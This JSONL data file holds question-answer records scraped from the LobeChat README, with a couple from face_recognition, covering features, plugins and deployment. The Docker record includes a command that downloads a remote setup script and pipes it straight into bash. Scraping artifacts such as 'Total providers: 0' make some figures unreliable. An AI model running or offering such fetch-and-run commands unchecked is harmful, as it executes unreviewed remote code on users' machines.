{"id": "gh_c4c4bd3065eb", "question": "How to: [Multi-Model Service Provider Support][docs-feat-provider]", "question_body": "About lobehub/lobe-chat", "answer": "In the continuous development of LobeChat, we deeply understand the importance of diversity in model service providers for meeting the needs of the community when providing AI conversation services. Therefore, we have expanded our support to multiple model service providers, rather than being limited to a single one, in order to offer users a more diverse and rich selection of conversations.\n\nIn this way, LobeChat can more flexibly adapt to the needs of different users, while also providing developers with a wider range of choices.\n\n#### Supported Model Service Providers\n\nWe have implemented support for the following model service providers:\nSee more providers (+-10)\n> 📊 Total providers: [\n**0**\n](https://lobechat.com/discover/providers)\nAt the same time, we are also planning to support more model service providers. If you would like LobeChat to support your favorite service provider, feel free to join our [💬 community discussion](https://github.com/lobehub/lobe-chat/discussions/1284).\n[![][back-to-top]](#readme-top)\n[![][image-feat-local]][docs-feat-local]", "tags": ["lobehub"], "source": "github_gists", "category": "lobehub", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 70203, "answer_score": 10, "has_code": false, "url": "https://github.com/lobehub/lobe-chat", "collected_at": "2026-01-16T23:28:06.136140"}
{"id": "gh_a5241ceef710", "question": "How to: [Local Large Language Model (LLM) Support][docs-feat-local]", "question_body": "About lobehub/lobe-chat", "answer": "To meet the specific needs of users, LobeChat also supports the use of local models based on [Ollama](https://ollama.ai), allowing users to flexibly use their own or third-party models.\n\n> \\[!TIP]\n>\n> Learn more about [📘 Using Ollama in LobeChat][docs-usage-ollama] by checking it out.\n[![][back-to-top]](#readme-top)\n[![][image-feat-vision]][docs-feat-vision]", "tags": ["lobehub"], "source": "github_gists", "category": "lobehub", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 70203, "answer_score": 10, "has_code": false, "url": "https://github.com/lobehub/lobe-chat", "collected_at": "2026-01-16T23:28:06.136149"}
{"id": "gh_c8f89d056a9b", "question": "How to: [Model Visual Recognition][docs-feat-vision]", "question_body": "About lobehub/lobe-chat", "answer": "LobeChat now supports OpenAI's latest [`gpt-4-vision`](https://platform.openai.com/docs/guides/vision) model with visual recognition capabilities,\na multimodal intelligence that can perceive visuals. Users can easily upload or drag and drop images into the dialogue box,\nand the agent will be able to recognize the content of the images and engage in intelligent conversation based on this,\ncreating smarter and more diversified chat scenarios.\n\nThis feature opens up new interactive methods, allowing communication to transcend text and include a wealth of visual elements.\nWhether it's sharing images in daily use or interpreting images within specific industries, the agent provides an outstanding conversational experience.\n[![][back-to-top]](#readme-top)\n[![][image-feat-tts]][docs-feat-tts]", "tags": ["lobehub"], "source": "github_gists", "category": "lobehub", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 70203, "answer_score": 10, "has_code": false, "url": "https://github.com/lobehub/lobe-chat", "collected_at": "2026-01-16T23:28:06.136156"}
{"id": "gh_8849ea4f74d1", "question": "How to: [TTS & STT Voice Conversation][docs-feat-tts]", "question_body": "About lobehub/lobe-chat", "answer": "LobeChat supports Text-to-Speech (TTS) and Speech-to-Text (STT) technologies, enabling our application to convert text messages into clear voice outputs,\nallowing users to interact with our conversational agent as if they were talking to a real person. Users can choose from a variety of voices to pair with the agent.\n\nMoreover, TTS offers an excellent solution for those who prefer auditory learning or desire to receive information while busy.\nIn LobeChat, we have meticulously selected a range of high-quality voice options (OpenAI Audio, Microsoft Edge Speech) to meet the needs of users from different regions and cultural backgrounds.\nUsers can choose the voice that suits their personal preferences or specific scenarios, resulting in a personalized communication experience.\n[![][back-to-top]](#readme-top)\n[![][image-feat-t2i]][docs-feat-t2i]", "tags": ["lobehub"], "source": "github_gists", "category": "lobehub", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 70203, "answer_score": 10, "has_code": false, "url": "https://github.com/lobehub/lobe-chat", "collected_at": "2026-01-16T23:28:06.136164"}
{"id": "gh_56e8b528b94d", "question": "How to: [Text to Image Generation][docs-feat-t2i]", "question_body": "About lobehub/lobe-chat", "answer": "With support for the latest text-to-image generation technology, LobeChat now allows users to invoke image creation tools directly within conversations with the agent. By leveraging the capabilities of AI tools such as [`DALL-E 3`](https://openai.com/dall-e-3), [`MidJourney`](https://www.midjourney.com/), and [`Pollinations`](https://pollinations.ai/), the agents are now equipped to transform your ideas into images.\n\nThis enables a more private and immersive creative process, allowing for the seamless integration of visual storytelling into your personal dialogue with the agent.\n[![][back-to-top]](#readme-top)\n[![][image-feat-plugin]][docs-feat-plugin]", "tags": ["lobehub"], "source": "github_gists", "category": "lobehub", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 70203, "answer_score": 10, "has_code": false, "url": "https://github.com/lobehub/lobe-chat", "collected_at": "2026-01-16T23:28:06.136171"}
{"id": "gh_032768ab2cbc", "question": "How to: [Plugin System (Function Calling)][docs-feat-plugin]", "question_body": "About lobehub/lobe-chat", "answer": "The plugin ecosystem of LobeChat is an important extension of its core functionality, greatly enhancing the practicality and flexibility of the LobeChat assistant.\nBy utilizing plugins, LobeChat assistants can obtain and process real-time information, such as searching for web information and providing users with instant and relevant news.\n\nIn addition, these plugins are not limited to news aggregation, but can also extend to other practical functions, such as quickly searching documents, generating images, obtaining data from various platforms like Bilibili, Steam, and interacting with various third-party services.\n\n> \\[!TIP]\n>\n> Learn more about [📘 Plugin Usage][docs-usage-plugin] by checking it out.\n| Recent Submits                                                                                                             | Description                                                                                                                                     |\n| -------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------- |\n| [Shopping tools](https://lobechat.com/discover/plugin/ShoppingTools)\nBy **shoppingtools** on **2026-01-12**\n| Search for products on eBay & AliExpress, find eBay events & coupons. Get prompt examples.\n`shopping` `e-bay` `ali-express` `coupons`       |\n| [SEO Assistant](https://lobechat.com/discover/plugin/seo_assistant)\nBy **webfx** on **2026-01-12**\n| The SEO Assistant can generate search engine keyword information in order to aid the creation of content.\n`seo` `keyword`                   |\n| [Video Captions](https://lobechat.com/discover/plugin/VideoCaptions)\nBy **maila** on **2025-12-13**\n| Convert Youtube links into transcribed text, enable asking questions, create chapters, and summarize its content.\n`video-to-text` `youtube` |\n| [WeatherGPT](https://lobechat.com/discover/plugin/WeatherGPT)\nBy **steven-tey** on **2025-12-13**\n| Get current weather information for a specific location.\n`weather`                                                                          |\n\n> 📊 Total plugins: [\n**40**\n](https://lobechat.com/discover/plugins)\n[![][back-to-top]](#readme-top)\n[![][image-feat-agent]][docs-feat-agent]", "tags": ["lobehub"], "source": "github_gists", "category": "lobehub", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 70203, "answer_score": 10, "has_code": true, "url": "https://github.com/lobehub/lobe-chat", "collected_at": "2026-01-16T23:28:06.136186"}
{"id": "gh_5644f5005204", "question": "How to: [Agent Market (GPTs)][docs-feat-agent]", "question_body": "About lobehub/lobe-chat", "answer": "In LobeChat Agent Marketplace, creators can discover a vibrant and innovative community that brings together a multitude of well-designed agents,\nwhich not only play an important role in work scenarios but also offer great convenience in learning processes.\nOur marketplace is not just a showcase platform but also a collaborative space. Here, everyone can contribute their wisdom and share the agents they have developed.\n\n> \\[!TIP]\n>\n> By [🤖/🏪 Submit Agents][submit-agents-link], you can easily submit your agent creations to our platform.\n> Importantly, LobeChat has established a sophisticated automated internationalization (i18n) workflow,\n> capable of seamlessly translating your agent into multiple language versions.\n> This means that no matter what language your users speak, they can experience your agent without barriers.\n\n> \\[!IMPORTANT]\n>\n> We welcome all users to join this growing ecosystem and participate in the iteration and optimization of agents.\n> Together, we can create more interesting, practical, and innovative agents, further enriching the diversity and practicality of the agent offerings.\n| Recent Submits                                                                                                                                                                 | Description                                                                                                                                                                                                              |\n| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |\n| [Turtle Soup Host](https://lobechat.com/discover/assistant/lateral-thinking-puzzle)\nBy **[CSY2022](https://github.com/CSY2022)** on **2025-06-19**\n| A turtle soup host needs to provide the scenario, the complete story (truth of the event), and the key point (the condition for guessing correctly).\n`turtle-soup` `reasoning` `interaction` `puzzle` `role-playing` |\n| [Academic Writing Assistant](https://lobechat.com/discover/assistant/academic-writing-assistant)\nBy **[swarfte](https://github.com/swarfte)** on **2025-06-17**\n| Expert in academic research paper writing and formal documentation\n`academic-writing` `research` `formal-style`                                                                                                      |\n| [Gourmet Reviewer🍟](https://lobechat.com/discover/assistant/food-reviewer)\nBy **[renhai-lab](https://github.com/renhai-lab)** on **2025-06-17**\n| Food critique expert\n`gourmet` `review` `writing`                                                                                                                                                                    |\n| [Minecraft Senior Developer](https://lobechat.com/discover/assistant/java-development)\nBy **[iamyuuk](https://github.com/iamyuuk)** on **2025-06-17**\n| Expert in advanced Java development and Minecraft mod and server plugin development\n`development` `programming` `minecraft` `java`                                                                                   |\n\n> 📊 Total agents: [\n**505**\n](https://lobechat.com/discover/assistants)\n[![][back-to-top]](#readme-top)\n[![][image-feat-database]][docs-feat-database]", "tags": ["lobehub"], "source": "github_gists", "category": "lobehub", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 70203, "answer_score": 10, "has_code": true, "url": "https://github.com/lobehub/lobe-chat", "collected_at": "2026-01-16T23:28:06.136206"}
{"id": "gh_a67056be9240", "question": "How to: [Support Local / Remote Database][docs-feat-database]", "question_body": "About lobehub/lobe-chat", "answer": "LobeChat supports the use of both server-side and local databases. Depending on your needs, you can choose the appropriate deployment solution:\n\n- **Local database**: suitable for users who want more control over their data and privacy protection. LobeChat uses CRDT (Conflict-Free Replicated Data Type) technology to achieve multi-device synchronization. This is an experimental feature aimed at providing a seamless data synchronization experience.\n- **Server-side database**: suitable for users who want a more convenient user experience. LobeChat supports PostgreSQL as a server-side database. For detailed documentation on how to configure the server-side database, please visit [Configure Server-side Database](https://lobehub.com/docs/self-hosting/advanced/server-database).\n\nRegardless of which database you choose, LobeChat can provide you with an excellent user experience.\n[![][back-to-top]](#readme-top)\n[![][image-feat-auth]][docs-feat-auth]", "tags": ["lobehub"], "source": "github_gists", "category": "lobehub", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 70203, "answer_score": 10, "has_code": false, "url": "https://github.com/lobehub/lobe-chat", "collected_at": "2026-01-16T23:28:06.136214"}
{"id": "gh_ea8f67d09562", "question": "How to: [Support Multi-User Management][docs-feat-auth]", "question_body": "About lobehub/lobe-chat", "answer": "LobeChat supports multi-user management and provides two main user authentication and management solutions to meet different needs:\n\n- **next-auth**: LobeChat integrates `next-auth`, a flexible and powerful identity verification library that supports multiple authentication methods, including OAuth, email login, credential login, etc. With `next-auth`, you can easily implement user registration, login, session management, social login, and other functions to ensure the security and privacy of user data.\n\n- [**Clerk**](https://go.clerk.com/exgqLG0): For users who need more advanced user management features, LobeChat also supports `Clerk`, a modern user management platform. `Clerk` provides richer functions, such as multi-factor authentication (MFA), user profile management, login activity monitoring, etc. With `Clerk`, you can get higher security and flexibility, and easily cope with complex user management needs.\n\nRegardless of which user management solution you choose, LobeChat can provide you with an excellent user experience and powerful functional support.\n[![][back-to-top]](#readme-top)\n[![][image-feat-pwa]][docs-feat-pwa]", "tags": ["lobehub"], "source": "github_gists", "category": "lobehub", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 70203, "answer_score": 10, "has_code": false, "url": "https://github.com/lobehub/lobe-chat", "collected_at": "2026-01-16T23:28:06.136222"}
{"id": "gh_c96c1eb97eb3", "question": "How to: [Progressive Web App (PWA)][docs-feat-pwa]", "question_body": "About lobehub/lobe-chat", "answer": "We deeply understand the importance of providing a seamless experience for users in today's multi-device environment.\nTherefore, we have adopted Progressive Web Application ([PWA](https://support.google.com/chrome/answer/9658361)) technology,\na modern web technology that elevates web applications to an experience close to that of native apps.\n\nThrough PWA, LobeChat can offer a highly optimized user experience on both desktop and mobile devices while maintaining high-performance characteristics.\nVisually and in terms of feel, we have also meticulously designed the interface to ensure it is indistinguishable from native apps,\nproviding smooth animations, responsive layouts, and adapting to different device screen resolutions.\n\n> \\[!NOTE]\n>\n> If you are unfamiliar with the installation process of PWA, you can add LobeChat as your desktop application (also applicable to mobile devices) by following these steps:\n>\n> - Launch the Chrome or Edge browser on your computer.\n> - Visit the LobeChat webpage.\n> - In the upper right corner of the address bar, click on the\nInstall\nicon.\n> - Follow the instructions on the screen to complete the PWA Installation.\n[![][back-to-top]](#readme-top)\n[![][image-feat-mobile]][docs-feat-mobile]", "tags": ["lobehub"], "source": "github_gists", "category": "lobehub", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 70203, "answer_score": 10, "has_code": false, "url": "https://github.com/lobehub/lobe-chat", "collected_at": "2026-01-16T23:28:06.136231"}
{"id": "gh_57cc2bc48f36", "question": "How to: [Mobile Device Adaptation][docs-feat-mobile]", "question_body": "About lobehub/lobe-chat", "answer": "We have carried out a series of optimization designs for mobile devices to enhance the user's mobile experience. Currently, we are iterating on the mobile user experience to achieve smoother and more intuitive interactions. If you have any suggestions or ideas, we welcome you to provide feedback through GitHub Issues or Pull Requests.\n[![][back-to-top]](#readme-top)\n[![][image-feat-theme]][docs-feat-theme]", "tags": ["lobehub"], "source": "github_gists", "category": "lobehub", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 70203, "answer_score": 10, "has_code": false, "url": "https://github.com/lobehub/lobe-chat", "collected_at": "2026-01-16T23:28:06.136237"}
{"id": "gh_f6893ecb572c", "question": "How to: [Custom Themes][docs-feat-theme]", "question_body": "About lobehub/lobe-chat", "answer": "As a design-engineering-oriented application, LobeChat places great emphasis on users' personalized experiences,\nhence introducing flexible and diverse theme modes, including a light mode for daytime and a dark mode for nighttime.\nBeyond switching theme modes, a range of color customization options allow users to adjust the application's theme colors according to their preferences.\nWhether it's a desire for a sober dark blue, a lively peach pink, or a professional gray-white, users can find their style of color choices in LobeChat.\n\n> \\[!TIP]\n>\n> The default configuration can intelligently recognize the user's system color mode and automatically switch themes to ensure a consistent visual experience with the operating system.\n> For users who like to manually control details, LobeChat also offers intuitive setting options and a choice between chat bubble mode and document mode for conversation scenarios.\n[![][back-to-top]](#readme-top)", "tags": ["lobehub"], "source": "github_gists", "category": "lobehub", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 70203, "answer_score": 10, "has_code": false, "url": "https://github.com/lobehub/lobe-chat", "collected_at": "2026-01-16T23:28:06.136245"}
{"id": "gh_d8cdcf437c0e", "question": "How to: `*` What's more", "question_body": "About lobehub/lobe-chat", "answer": "Beside these features, LobeChat also have much better basic technique underground:\n\n- [x] 💨 **Quick Deployment**: Using the Vercel platform or docker image, you can deploy with just one click and complete the process within 1 minute without any complex configuration.\n- [x] 🌐 **Custom Domain**: If users have their own domain, they can bind it to the platform for quick access to the dialogue agent from anywhere.\n- [x] 🔒 **Privacy Protection**: All data is stored locally in the user's browser, ensuring user privacy.\n- [x] 💎 **Exquisite UI Design**: With a carefully designed interface, it offers an elegant appearance and smooth interaction. It supports light and dark themes and is mobile-friendly. PWA support provides a more native-like experience.\n- [x] 🗣️ **Smooth Conversation Experience**: Fluid responses ensure a smooth conversation experience. It fully supports Markdown rendering, including code highlighting, LaTex formulas, Mermaid flowcharts, and more.\n\n> ✨ more features will be added when LobeChat evolve.\n\n---\n\n> \\[!NOTE]\n>\n> You can find our upcoming [Roadmap][github-project-link] plans in the Projects section.\n[![][back-to-top]](#readme-top)", "tags": ["lobehub"], "source": "github_gists", "category": "lobehub", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 70203, "answer_score": 10, "has_code": false, "url": "https://github.com/lobehub/lobe-chat", "collected_at": "2026-01-16T23:28:06.136256"}
{"id": "gh_acd0a02bc6a0", "question": "How to: ⚡️ Performance", "question_body": "About lobehub/lobe-chat", "answer": "> \\[!NOTE]\n>\n> The complete list of reports can be found in the [📘 Lighthouse Reports][docs-lighthouse]\n\n|                   Desktop                   |                   Mobile                   |\n| :-----------------------------------------: | :----------------------------------------: |\n|              ![][chat-desktop]              |              ![][chat-mobile]              |\n| [📑 Lighthouse Report][chat-desktop-report] | [📑 Lighthouse Report][chat-mobile-report] |\n[![][back-to-top]](#readme-top)", "tags": ["lobehub"], "source": "github_gists", "category": "lobehub", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 70203, "answer_score": 10, "has_code": true, "url": "https://github.com/lobehub/lobe-chat", "collected_at": "2026-01-16T23:28:06.136265"}
{"id": "gh_6c1921ba1b3e", "question": "How to: 🛳 Self Hosting", "question_body": "About lobehub/lobe-chat", "answer": "LobeChat provides Self-Hosted Version with Vercel, Alibaba Cloud, and [Docker Image][docker-release-link]. This allows you to deploy your own chatbot within a few minutes without any prior knowledge.\n\n> \\[!TIP]\n>\n> Learn more about [📘 Build your own LobeChat][docs-self-hosting] by checking it out.", "tags": ["lobehub"], "source": "github_gists", "category": "lobehub", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 70203, "answer_score": 10, "has_code": false, "url": "https://github.com/lobehub/lobe-chat", "collected_at": "2026-01-16T23:28:06.136272"}
{"id": "gh_b272879594a5", "question": "How to: `A` Deploying with Vercel, Zeabur , Sealos or Alibaba Cloud", "question_body": "About lobehub/lobe-chat", "answer": "\"If you want to deploy this service yourself on Vercel, Zeabur or Alibaba Cloud, you can follow these steps:\n\n- Prepare your [OpenAI API Key](https://platform.openai.com/account/api-keys).\n- Click the button below to start deployment: Log in directly with your GitHub account, and remember to fill in the `OPENAI_API_KEY`(required) and `ACCESS_CODE` (recommended) on the environment variable section.\n- After deployment, you can start using it.\n- Bind a custom domain (optional): The DNS of the domain assigned by Vercel is polluted in some areas; binding a custom domain can connect directly.\n|           Deploy with Vercel            |                     Deploy with Zeabur                      |                     Deploy with Sealos                      |                       Deploy with RepoCloud                       |                         Deploy with Alibaba Cloud                         |\n| :-------------------------------------: | :---------------------------------------------------------: | :---------------------------------------------------------: | :---------------------------------------------------------------: | :-----------------------------------------------------------------------: |\n| [![][deploy-button-image]][deploy-link] | [![][deploy-on-zeabur-button-image]][deploy-on-zeabur-link] | [![][deploy-on-sealos-button-image]][deploy-on-sealos-link] | [![][deploy-on-repocloud-button-image]][deploy-on-repocloud-link] | [![][deploy-on-alibaba-cloud-button-image]][deploy-on-alibaba-cloud-link] |\n#### After Fork\n\nAfter fork, only retain the upstream sync action and disable other actions in your repository on GitHub.\n\n#### Keep Updated\n\nIf you have deployed your own project following the one-click deployment steps in the README, you might encounter constant prompts indicating \"updates available.\" This is because Vercel defaults to creating a new project instead of forking this one, resulting in an inability to detect updates accurately.\n\n> \\[!TIP]\n>\n> We suggest you redeploy using the following steps, [📘 Auto Sync With Latest][docs-upstream-sync]", "tags": ["lobehub"], "source": "github_gists", "category": "lobehub", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 70203, "answer_score": 10, "has_code": true, "url": "https://github.com/lobehub/lobe-chat", "collected_at": "2026-01-16T23:28:06.136285"}
{"id": "gh_f84030ccb584", "question": "How to: `B` Deploying with Docker", "question_body": "About lobehub/lobe-chat", "answer": "[![][docker-release-shield]][docker-release-link]\n[![][docker-size-shield]][docker-size-link]\n[![][docker-pulls-shield]][docker-pulls-link]\n\nWe provide a Docker image for deploying the LobeChat service on your own private device. Use the following command to start the LobeChat service:\n\n1. create a folder to for storage files\n\n```fish\n$ mkdir lobe-chat-db && cd lobe-chat-db\n```\n\n2. init the LobeChat infrastructure\n\n```fish\nbash <(curl -fsSL https://lobe.li/setup.sh)\n```\n\n3. Start the LobeChat service\n\n```fish\ndocker compose up -d\n```\n\n> \\[!NOTE]\n>\n> For detailed instructions on deploying with Docker, please refer to the [📘 Docker Deployment Guide][docs-docker]", "tags": ["lobehub"], "source": "github_gists", "category": "lobehub", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 70203, "answer_score": 10, "has_code": true, "url": "https://github.com/lobehub/lobe-chat", "collected_at": "2026-01-16T23:28:06.136295"}
{"id": "gh_6870ac35b204", "question": "How to: 📦 Ecosystem", "question_body": "About lobehub/lobe-chat", "answer": "| NPM                               | Repository                              | Description                                                                                           | Version                                   |\n| --------------------------------- | --------------------------------------- | ----------------------------------------------------------------------------------------------------- | ----------------------------------------- |\n| [@lobehub/ui][lobe-ui-link]       | [lobehub/lobe-ui][lobe-ui-github]       | Open-source UI component library dedicated to building AIGC web applications.                         | [![][lobe-ui-shield]][lobe-ui-link]       |\n| [@lobehub/icons][lobe-icons-link] | [lobehub/lobe-icons][lobe-icons-github] | Popular AI / LLM Model Brand SVG Logo and Icon Collection.                                            | [![][lobe-icons-shield]][lobe-icons-link] |\n| [@lobehub/tts][lobe-tts-link]     | [lobehub/lobe-tts][lobe-tts-github]     | High-quality & reliable TTS/STT React Hooks library                                                   | [![][lobe-tts-shield]][lobe-tts-link]     |\n| [@lobehub/lint][lobe-lint-link]   | [lobehub/lobe-lint][lobe-lint-github]   | Configurations for ESlint, Stylelint, Commitlint, Prettier, Remark, and Semantic Release for LobeHub. | [![][lobe-lint-shield]][lobe-lint-link]   |\n[![][back-to-top]](#readme-top)", "tags": ["lobehub"], "source": "github_gists", "category": "lobehub", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 70203, "answer_score": 10, "has_code": true, "url": "https://github.com/lobehub/lobe-chat", "collected_at": "2026-01-16T23:28:06.136317"}
{"id": "gh_16ea28aa74c3", "question": "How to: ⌨️ Local Development", "question_body": "About lobehub/lobe-chat", "answer": "You can use GitHub Codespaces for online development:\n\n[![][codespaces-shield]][codespaces-link]\n\nOr clone it for local development:\n\n```fish\n$ git clone https://github.com/lobehub/lobe-chat.git\n$ cd lobe-chat\n$ pnpm install\n$ pnpm dev\n```\n\nIf you would like to learn more details, please feel free to look at our [📘 Development Guide][docs-dev-guide].\n[![][back-to-top]](#readme-top)", "tags": ["lobehub"], "source": "github_gists", "category": "lobehub", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 70203, "answer_score": 10, "has_code": true, "url": "https://github.com/lobehub/lobe-chat", "collected_at": "2026-01-16T23:28:06.136329"}
{"id": "gh_f737dd822d12", "question": "How to: 🤝 Contributing", "question_body": "About lobehub/lobe-chat", "answer": "Contributions of all types are more than welcome; if you are interested in contributing code, feel free to check out our GitHub [Issues][github-issues-link] and [Projects][github-project-link] to get stuck in to show us what you're made of.\n\n> \\[!TIP]\n>\n> We are creating a technology-driven forum, fostering knowledge interaction and the exchange of ideas that may culminate in mutual inspiration and collaborative innovation.\n>\n> Help us make LobeChat better. Welcome to provide product design feedback, user experience discussions directly to us.\n>\n> **Principal Maintainers:** [@arvinxx](https://github.com/arvinxx) [@canisminor1990](https://github.com/canisminor1990)\n\n[![][pr-welcome-shield]][pr-welcome-link]\n[![][submit-agents-shield]][submit-agents-link]\n[![][submit-plugin-shield]][submit-plugin-link]\n[![][back-to-top]](#readme-top)", "tags": ["lobehub"], "source": "github_gists", "category": "lobehub", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 70203, "answer_score": 10, "has_code": true, "url": "https://github.com/lobehub/lobe-chat", "collected_at": "2026-01-16T23:28:06.136344"}
{"id": "gh_a36da02c7683", "question": "How to: ❤️ Sponsor", "question_body": "About lobehub/lobe-chat", "answer": "Every bit counts and your one-time donation sparkles in our galaxy of support! You're a shooting star, making a swift and bright impact on our journey. Thank you for believing in us – your generosity guides us toward our mission, one brilliant flash at a time.\n[![][back-to-top]](#readme-top)", "tags": ["lobehub"], "source": "github_gists", "category": "lobehub", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 70203, "answer_score": 10, "has_code": true, "url": "https://github.com/lobehub/lobe-chat", "collected_at": "2026-01-16T23:28:06.136353"}
{"id": "gh_05c992999c15", "question": "How to: 🔗 More Products", "question_body": "About lobehub/lobe-chat", "answer": "- **[🅰️ Lobe SD Theme][lobe-theme]:** Modern theme for Stable Diffusion WebUI, exquisite interface design, highly customizable UI, and efficiency-boosting features.\n- **[⛵️ Lobe Midjourney WebUI][lobe-midjourney-webui]:** WebUI for Midjourney, leverages AI to quickly generate a wide array of rich and diverse images from text prompts, sparking creativity and enhancing conversations.\n- **[🌏 Lobe i18n][lobe-i18n] :** Lobe i18n is an automation tool for the i18n (internationalization) translation process, powered by ChatGPT. It supports features such as automatic splitting of large files, incremental updates, and customization options for the OpenAI model, API proxy, and temperature.\n- **[💌 Lobe Commit][lobe-commit]:** Lobe Commit is a CLI tool that leverages Langchain/ChatGPT to generate Gitmoji-based commit messages.\n[![][back-to-top]](#readme-top)\n---\n📝 License\n[![][fossa-license-shield]][fossa-license-link]\nCopyright © 2025 [LobeHub][profile-link].\nThis project is [LobeHub Community License](./LICENSE) licensed.\n[back-to-top]: https://img.shields.io/badge/-BACK_TO_TOP-151515?style=flat-square\n[blog]: https://lobehub.com/blog\n[changelog]: https://lobehub.com/changelog\n[chat-desktop]: https://raw.githubusercontent.com/lobehub/lobe-chat/lighthouse/lighthouse/chat/desktop/pagespeed.svg\n[chat-desktop-report]: https://lobehub.github.io/lobe-chat/lighthouse/chat/desktop/chat_preview_lobehub_com_chat.html\n[chat-mobile]: https://raw.githubusercontent.com/lobehub/lobe-chat/lighthouse/lighthouse/chat/mobile/pagespeed.svg\n[chat-mobile-report]: https://lobehub.github.io/lobe-chat/lighthouse/chat/mobile/chat_preview_lobehub_com_chat.html\n[chat-plugin-sdk]: https://github.com/lobehub/chat-plugin-sdk\n[chat-plugin-template]: https://github.com/lobehub/chat-plugin-template\n[chat-plugins-gateway]: https://github.com/lobehub/chat-plugins-gateway\n[codecov-link]: https://codecov.io/gh/lobehub/lobe-chat\n[codecov-shield]: https://img.shields.io/codecov/c/github/lobehub/lobe-chat?labelColor=black&style=flat-square&logo=codecov&logoColor=white\n[codespaces-link]: https://codespaces.new/lobehub/lobe-chat\n[codespaces-shield]: https://github.com/codespaces/badge.svg\n[deploy-button-image]: https://vercel.com/button\n[deploy-link]: https://vercel.com/new/clone?repository-url=https%3A%2F%2Fgithub.com%2Flobehub%2Flobe-chat&env=OPENAI_API_KEY,ACCESS_CODE&envDescription=Find%20your%20OpenAI%20API%20Key%20by%20click%20the%20right%20Learn%20More%20button.%20%7C%20Access%20Code%20can%20protect%20your%20website&envLink=https%3A%2F%2Fplatform.openai.com%2Faccount%2Fapi-keys&project-name=lobe-chat&repository-name=lobe-chat\n[deploy-on-alibaba-cloud-button-image]: https://service-info-public.oss-cn-hangzhou.aliyuncs.com/computenest-en.svg\n[deploy-on-alibaba-cloud-link]: https://computenest.console.aliyun.com/service/instance/create/default?type=user&ServiceName=LobeChat%E7%A4%BE%E5%8C%BA%E7%89%88\n[deploy-on-repocloud-button-image]: https://d16t0pc4846x52.cloudfront.net/deploylobe.svg\n[deploy-on-repocloud-link]: https://repocloud.io/details/?app_id=248\n[deploy-on-sealos-button-image]: https://raw.githubusercontent.com/labring-actions/templates/main/Deploy-on-Sealos.svg\n[deploy-on-sealos-link]: https://template.usw.sealos.io/deploy?templateName=lobe-chat-db\n[deploy-on-zeabur-button-image]: https://zeabur.com/button.svg\n[deploy-on-zeabur-link]: https://zeabur.com/templates/VZGGTI\n[discord-link]: https://discord.gg/AYFPHvv2jT\n[discord-shield]: https://img.shields.io/discord/1127171173982154893?color=5865F2&label=discord&labelColor=black&logo=discord&logoColor=white&style=flat-square\n[discord-shield-badge]: https://img.shields.io/discord/1127171173982154893?color=5865F2&label=discord&labelColor=black&logo=discord&logoColor=white&style=for-the-badge\n[docker-pulls-link]: https://hub.docker.com/r/lobehub/lobe-chat-database\n[docker-pulls-shield]: https://img.shields.io/docker/pulls/lobehub/lobe-chat?color=45cc11&labelColor=black&style=flat-square&sort=semver\n[docker-release-link]: https://hub.docker.com/r/lobehub/lobe-chat-database\n[docker-release-shield]: https://img.shields.io/docker/v/lobehub/lobe-chat-database?color=369eff&label=docker&labelColor=black&logo=docker&logoColor=white&style=flat-square&sort=semver\n[docker-size-link]: https://hub.docker.com/r/lobehub/lobe-chat-database\n[docker-size-shield]: https://img.shields.io/docker/image-size/lobehub/lobe-chat-database?color=369eff&labelColor=black&style=flat-square&sort=semver\n[docs]: https://lobehub.com/docs/usage/start\n[docs-dev-guide]: https://lobehub.com/docs/development/start\n[docs-docker]: https://lobehub.com/docs/self-hosting/server-database/docker-compose\n[docs-env-var]: https://lobehub.com/docs/self-hosting/environment-variables\n[docs-feat-agent]: https://lobehub.com/docs/usage/features/agent-market\n[docs-feat-artifacts]: https://lobehub.com/docs/usage/features/artifacts\n[docs-feat-auth]", "tags": ["lobehub"], "source": "github_gists", "category": "lobehub", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 70203, "answer_score": 10, "has_code": false, "url": "https://github.com/lobehub/lobe-chat", "collected_at": "2026-01-16T23:28:06.136428"}
{"id": "gh_5675f3cafe27", "question": "How to: Online Demos", "question_body": "About ageitgey/face_recognition", "answer": "User-contributed shared Jupyter notebook demo (not officially supported): [![Deepnote](https://beta.deepnote.org/buttons/try-in-a-jupyter-notebook.svg)](https://beta.deepnote.org/launch?template=face_recognition)", "tags": ["ageitgey"], "source": "github_gists", "category": "ageitgey", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 56035, "answer_score": 10, "has_code": false, "url": "https://github.com/ageitgey/face_recognition", "collected_at": "2026-01-16T23:28:10.472618"}
{"id": "gh_f8f7179027ea", "question": "How to: Requirements", "question_body": "About ageitgey/face_recognition", "answer": "* Python 3.3+ or Python 2.7\n  * macOS or Linux (Windows not officially supported, but might work)", "tags": ["ageitgey"], "source": "github_gists", "category": "ageitgey", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 56035, "answer_score": 10, "has_code": false, "url": "https://github.com/ageitgey/face_recognition", "collected_at": "2026-01-16T23:28:10.472635"}
